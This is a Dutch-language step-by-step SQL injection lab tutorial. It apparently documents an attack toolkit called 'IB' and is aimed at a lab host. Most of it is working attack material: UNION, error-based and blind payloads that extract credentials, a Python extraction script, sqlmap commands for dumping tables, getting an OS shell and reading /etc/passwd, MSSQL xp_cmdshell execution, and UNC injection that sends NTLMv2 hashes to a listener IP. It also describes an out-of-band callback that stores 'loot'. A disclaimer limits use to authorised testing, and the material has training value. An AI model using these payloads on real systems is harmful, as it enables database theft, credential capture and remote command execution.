SQL Injection Lab: Stap voor Stap

SQL injection (SQLi) is een van de meest voorkomende en gevaarlijke kwetsbaarheden in webapplicaties. Bij een SQL injection manipuleert een aanvaller de invoer van een applicatie om ongeautoriseerde SQL-queries uit te voeren op de achterliggende database. In deze tutorial doorlopen we stap voor stap hoe je UNION-based, error-based en blind SQL injection herkent en exploiteert binnen een gecontroleerde labomgeving.

Deze tutorial is uitsluitend bedoeld voor gebruik in geautoriseerde testomgevingen. Test nooit op systemen waarvoor je geen expliciete toestemming hebt.

Vereisten

IB – Open het SQLi dashboard via http://127.0.0.1:5000/dashboard/sqli om alle uitgevoerde injecties en hun responses bij te houden. Elk request dat je via /sqli2/inject stuurt wordt automatisch gelogd.

Stap 1: Injectiepunten Detecteren

Het eerste doel is vaststellen welke parameters kwetsbaar zijn voor SQL injection.

Handmatige detectie

Voeg een enkel aanhalingsteken toe aan invoervelden of URL-parameters:

http://doelwit.lab/zoeken?id=1'

Let op foutmeldingen die wijzen op SQL-fouten:

Boolean-based detectie

Test of de applicatie anders reageert op ware en onware condities:

http://doelwit.lab/zoeken?id=1 AND 1=1   -- zelfde resultaat
http://doelwit.lab/zoeken?id=1 AND 1=2   -- ander resultaat of leeg

Als de respons verschilt, is de parameter waarschijnlijk kwetsbaar.

Time-based detectie

Als er geen zichtbaar verschil is in de respons, gebruik dan tijdsvertragingen:

-- MySQL
1' AND SLEEP(5)--
-- MSSQL
1'; WAITFOR DELAY '0:0:5'--
-- PostgreSQL
1'; SELECT pg_sleep(5)--

Meet de responstijd. Een vertraging van 5 seconden bevestigt de kwetsbaarheid.

Stap 2: UNION-based SQL Injection

UNION-based injection werkt wanneer de resultaten van je query zichtbaar zijn in de pagina.

Aantal kolommen bepalen

Gebruik ORDER BY om het aantal kolommen in de originele query te achterhalen:

http://doelwit.lab/zoeken?id=1 ORDER BY 1--   (OK)
http://doelwit.lab/zoeken?id=1 ORDER BY 2--   (OK)
http://doelwit.lab/zoeken?id=1 ORDER BY 3--   (OK)
http://doelwit.lab/zoeken?id=1 ORDER BY 4--   (FOUT)

In dit voorbeeld zijn er 3 kolommen.

Zichtbare kolommen identificeren

http://doelwit.lab/zoeken?id=-1 UNION SELECT 1,2,3--

De nummers die op de pagina verschijnen zijn de kolommen waar je data kunt extraheren.

Database-informatie ophalen

-- MySQL: versie en huidige database
-1 UNION SELECT 1,version(),database()--

-- Alle databases tonen
-1 UNION SELECT 1,schema_name,3 FROM information_schema.schemata--

-- Tabellen in een specifieke database
-1 UNION SELECT 1,table_name,3 FROM information_schema.tables WHERE table_schema='doeldb'--

-- Kolommen in een tabel
-1 UNION SELECT 1,column_name,3 FROM information_schema.columns WHERE table_name='gebruikers'--

-- Data extraheren
-1 UNION SELECT 1,gebruikersnaam,wachtwoord FROM gebruikers--

IB – Gebruik het IB SQLi inject-endpoint om payloads te versturen en de responses automatisch te loggen: curl "http://127.0.0.1:5000/sqli2/inject?url=http://doelwit.lab/zoeken&param=id&payload=-1 UNION SELECT 1,version(),3--"

Stap 3: Error-based SQL Injection

Bij error-based injection haal je data uit foutmeldingen die de database teruggeeft.

MySQL: extractvalue / updatexml

-- Versie ophalen via foutmelding
1' AND extractvalue(1,concat(0x7e,(SELECT version()),0x7e))--

-- Gebruiker ophalen
1' AND updatexml(1,concat(0x7e,(SELECT user()),0x7e),1)--

-- Data uit tabel
1' AND extractvalue(1,concat(0x7e,(SELECT wachtwoord FROM gebruikers LIMIT 0,1),0x7e))--

MSSQL: CONVERT-fouten

-- Versie via type-conversiefout
1' AND 1=CONVERT(int,(SELECT @@version))--

-- Databasenaam
1' AND 1=CONVERT(int,(SELECT DB_NAME()))--

PostgreSQL: CAST-fouten

-- Versie ophalen
1' AND 1=CAST((SELECT version()) AS int)--

Stap 4: Blind SQL Injection

Bij blind injection krijg je geen directe output. Je leidt informatie af uit het gedrag van de applicatie.

Boolean-based blind

Stel vragen aan de database die waar of onwaar zijn:

-- Is het eerste karakter van de databasenaam 'd'?
1' AND (SELECT SUBSTRING(database(),1,1))='d'--

-- Binair zoeken op ASCII-waarde
1' AND ASCII(SUBSTRING(database(),1,1))>100--
1' AND ASCII(SUBSTRING(database(),1,1))>110--
1' AND ASCII(SUBSTRING(database(),1,1))=108--

Automatiseren met Python

import requests

url = "http://doelwit.lab/zoeken"
result = ""

for positie in range(1, 30):
    laag, hoog = 32, 126
    while laag <= hoog:
        midden = (laag + hoog) // 2
        payload = f"1' AND ASCII(SUBSTRING(database(),{positie},1))>{midden}--"
        r = requests.get(url, params={"id": payload})
        if "resultaat gevonden" in r.text:
            laag = midden + 1
        else:
            hoog = midden - 1
    if laag > 126:
        break
    result += chr(laag)
    print(f"[+] Tot nu toe: {result}")

print(f"[+] Database naam: {result}")

Time-based blind

Wanneer er geen verschil is in de respons, gebruik dan vertragingen:

-- MySQL
1' AND IF(SUBSTRING(database(),1,1)='d',SLEEP(3),0)--

-- MSSQL
1'; IF (SUBSTRING(DB_NAME(),1,1)='m') WAITFOR DELAY '0:0:3'--

IB – Het IB callback-endpoint /sqli2/callback kan gebruikt worden als out-of-band kanaal. De database stuurt resultaten naar IB, die ze opslaat in raw/loot/{ip}/sqli/.

Stap 5: SQLmap Gebruiken

sqlmap automatiseert het detecteren en exploiteren van SQL injection.

Basis scan

# Detecteer en exploiteer automatisch
sqlmap -u "http://doelwit.lab/zoeken?id=1" --batch

# Met specifieke techniek
sqlmap -u "http://doelwit.lab/zoeken?id=1" --technique=U --batch

# POST-parameter
sqlmap -u "http://doelwit.lab/login" --data="gebruiker=admin&wachtwoord=test" -p wachtwoord --batch

Data extraheren

# Databases tonen
sqlmap -u "http://doelwit.lab/zoeken?id=1" --dbs --batch

# Tabellen in een database
sqlmap -u "http://doelwit.lab/zoeken?id=1" -D doeldb --tables --batch

# Kolommen tonen
sqlmap -u "http://doelwit.lab/zoeken?id=1" -D doeldb -T gebruikers --columns --batch

# Alle data dumpen
sqlmap -u "http://doelwit.lab/zoeken?id=1" -D doeldb -T gebruikers --dump --batch

Geavanceerde sqlmap opties

# OS shell via SQL injection (als je voldoende rechten hebt)
sqlmap -u "http://doelwit.lab/zoeken?id=1" --os-shell --batch

# Bestandslezen
sqlmap -u "http://doelwit.lab/zoeken?id=1" --file-read="/etc/passwd" --batch

# Tamper scripts voor WAF-bypass
sqlmap -u "http://doelwit.lab/zoeken?id=1" --tamper=space2comment,between --batch

# Proxy via Burp
sqlmap -u "http://doelwit.lab/zoeken?id=1" --proxy="http://127.0.0.1:8080" --batch

Stap 6: MSSQL Specifieke Technieken

IB bevat uitgebreide ondersteuning voor MSSQL aanvallen.

xp_cmdshell

# Via IB endpoint
curl -X POST http://127.0.0.1:5000/sqli2/mssql/xpcmdshell \
  -H "Content-Type: application/json" \
  -d '{"url":"http://doelwit.lab/zoeken","param":"id","command":"whoami","enable":true}'

Dit activeert xp_cmdshell en voert het commando uit.

Linked Server Verkenning

# Ontdek linked servers
curl -X POST http://127.0.0.1:5000/sqli2/mssql/links/discover \
  -H "Content-Type: application/json" \
  -d '{"url":"http://doelwit.lab/zoeken","param":"id"}'

# Keten-exploratie via OPENQUERY
curl -X POST http://127.0.0.1:5000/sqli2/mssql/links/crawl \
  -H "Content-Type: application/json" \
  -d '{"url":"http://doelwit.lab/zoeken","param":"id","chain":["SRV02","SRV03"],"query":"SELECT @@servername"}'

UNC Path Injection

# Vang NTLMv2 hashes via Responder
curl -X POST http://127.0.0.1:5000/sqli2/mssql/unc \
  -H "Content-Type: application/json" \
  -d '{"url":"http://doelwit.lab/zoeken","param":"id","listener_ip":"10.10.14.5","technique":"dirtree"}'

IB – Het cheatsheet-endpoint /api/sqli/cheatsheet geeft een compleet overzicht van SQLi-payloads per database-engine (MSSQL, MySQL, PostgreSQL, Oracle).

Stap 7: Second-Order SQL Injection

Bij second-order injection wordt de payload eerst opgeslagen en later geactiveerd.

# Stap 1: Payload opslaan
curl -X POST http://127.0.0.1:5000/sqli2/secondorder/store \
  -H "Content-Type: application/json" \
  -d '{"label":"registratie","url":"http://doelwit.lab/registreer","param":"gebruikersnaam","payload":"admin'\'' OR 1=1--"}'

# Stap 2: Payload triggeren
curl -X POST http://127.0.0.1:5000/sqli2/secondorder/trigger \
  -H "Content-Type: application/json" \
  -d '{"store_id":1,"url":"http://doelwit.lab/profiel"}'

# Stap 3: Resultaat verifieren
curl "http://127.0.0.1:5000/sqli2/secondorder/verify/1?url=http://doelwit.lab/profiel"

Veelgemaakte Fouten

Samenvatting

In deze tutorial heb je geleerd hoe je SQL injection-kwetsbaarheden detecteert en exploiteert:

  1. Detectie – Gebruik handmatige tests met aanhalingstekens, boolean-condities en tijdsvertragingen om injectiepunten te vinden.
  2. UNION-based – Extraheer data door een UNION SELECT toe te voegen aan de originele query.
  3. Error-based – Leid data af uit foutmeldingen van de database-engine.
  4. Blind injection – Stel binaire vragen aan de database wanneer er geen directe output is.
  5. sqlmap – Automatiseer detectie en exploitatie voor grotere scans.
  6. MSSQL – Gebruik xp_cmdshell, linked servers en UNC paths voor geavanceerde aanvallen.

Onthoud dat je altijd werkt met expliciete toestemming en binnen de afgesproken scope. Documenteer elke stap in het IB SQLi dashboard voor je rapportage.